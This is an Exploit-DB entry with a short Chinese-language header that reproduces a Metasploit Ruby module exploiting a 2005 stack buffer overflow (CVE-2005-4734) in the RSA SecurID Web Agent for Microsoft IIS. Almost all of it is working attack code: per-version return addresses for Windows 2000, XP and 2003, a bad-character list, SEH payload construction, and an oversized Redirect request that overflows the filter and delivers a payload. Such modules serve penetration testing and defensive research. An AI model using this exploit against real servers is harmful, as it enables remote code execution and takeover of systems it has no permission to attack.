标题: Microsoft IIS - ISAPI RSA WebAgent Redirect Overflow (Metasploit) EDB-ID: 16358 CVE: 2005-4734 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: rsa_webagent_redirect.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS ISAPI RSA WebAgent Redirect Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the SecurID Web
    Agent for IIS. This ISAPI filter runs in-process with
    inetinfo.exe, any attempt to exploit this flaw will result
    in the termination and potential restart of the IIS service.

   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2005-4734'],
     ['OSVDB', '20151'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f" +
      (0x3a..0x3f).to_a.pack('C*') + "\x40\x5c" + "Zz",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Version-specific return addresses
     ['RSA WebAgent 5.2', { 'Rets' => [ 996, 0x1001e694 ] }],
     ['RSA WebAgent 5.3', { 'Rets' => [ 992, 0x10010e89 ] }],

     # Generic return addresses
     ['RSA WebAgent 5.2 on Windows 2000 English', { 'Rets' => [ 996, 0x75022ac4 ] }],
     ['RSA WebAgent 5.3 on Windows 2000 English', { 'Rets' => [ 992, 0x75022ac4 ] }],

     ['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', { 'Rets' => [ 996, 0x71ab1d54 ] }],
     ['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', { 'Rets' => [ 992, 0x71ab1d54 ] }],

     ['RSA WebAgent 5.2 on Windows XP SP2 English', { 'Rets' => [ 996, 0x71ab9372 ] }],
     ['RSA WebAgent 5.3 on Windows XP SP2 English', { 'Rets' => [ 992, 0x71ab9372 ] }],

     ['RSA WebAgent 5.2 on Windows 2003 English SP0', { 'Rets' => [ 996, 0x7ffc0638 ] }],
     ['RSA WebAgent 5.3 on Windows 2003 English SP0', { 'Rets' => [ 992, 0x7ffc0638 ] }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 21 2005'))

  register_options(
   [
    OptString.new('URL', [ true,  "The path to IISWebAgentIF.dll", "/WebID/IISWebAgentIF.dll" ]),
   ], self.class)
 end

 def check
  r = send_request_raw({
   'uri'   => datastore['URL'],
   'query' => 'GetPic?image=msf'
  }, -1)

  if (r and r.body and r.body =~ /RSA Web Access Authentication/)
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit

  pat = rand_text_alphanumeric(8192).gsub(/\d|Z/i, 'A') # HACK
  seh = generate_seh_payload(target['Rets'][1])
  pat[target['Rets'][0]-4, seh.length] = seh

  r = send_request_raw({
   'uri'   => datastore['URL'],
   'query' => 'Redirect?url=' + pat
  }, 5)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16358